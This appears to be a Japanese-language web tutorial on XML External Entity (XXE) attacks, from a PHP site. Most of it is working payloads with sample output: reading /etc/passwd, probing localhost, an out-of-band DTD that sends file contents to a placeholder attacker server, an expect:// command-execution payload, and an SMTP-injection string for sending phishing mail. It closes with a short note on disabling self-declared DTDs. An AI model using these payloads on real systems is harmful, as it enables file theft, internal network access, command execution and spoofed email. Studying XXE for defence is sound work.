POST /vulnerable HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://test.com/test.html Content-Type: application/xml Content-Length: 294 Cookie: mycookie=cookies; Connection: close Upgrade-Insecure-Requests: 1 <?xml version="1.0"?> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>XML is the best!</description> </core> </catalog>その後、上記のコードはサーバーの XML プロセッサによって解析されます。コードは解釈されて返されます: {"Request Successful": "Added!"} さて、攻撃者が XML コード解析を悪用しようとするとどうなるでしょうか?コードを編集して、悪意のあるペイロードを含めてみましょう:
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>コードは解釈され、次のように返されます:
{"error": "no results for description root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync...
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
<?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd"> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>上記のコードは、脆弱なサーバーによって処理されると、リモート サーバーにリクエストを送信します。ペイロードを含む DTD ファイルの場合:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>"> %all;上記のリクエストの実行フローを少し理解してみましょう。その結果、2 つのリクエストがサーバーに送信され、2 番目のリクエストは /etc/passwd ファイルの内容になります。 VPS ログでは、ファイル コンテンツを含む 2 番目のリクエストが確認できます。これにより、OOB XXE 脆弱性の存在も確認されました:
http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh
<?xml version="1.0"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>Response:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
ftp://a%0D%0A EHLO%20a%0D%0A MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A DATA%0D%0A From%3A%20support%40VULNERABLESYSTEM.com%0A To%3A%20victim%40gmail.com%0A Subject%3A%20test%0A %0A test!%0A %0D%0A .%0D%0A QUIT%0D%0A :a@VULNERABLESYSTEM.com:25これは、攻撃者が信頼できる送信元 (例: アカウント リセット リンク) からフィッシングメールを送信できることを意味します。 ) し、スパム フィルターの検出をバイパスします。リンクに加えて、添付ファイルを送信することもできます。
ユーティリティ
上で説明した主な問題は、XML パーサーがユーザーから送信された信頼できないデータを解析することです。しかし、DTD (文書型定義) の SYSTEM 識別子によって定義されたデータを検証することは容易ではなく、不可能です。ほとんどの XML パーサーは、デフォルトで XXE 攻撃に対して脆弱です。したがって、最善の解決策は、ローカルの静的 DTD を使用し、XML に自己宣言された DTD が含まれないように XML プロセッサを構成することです。
以上がXML からリモート コード実行への方法は何ですかの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。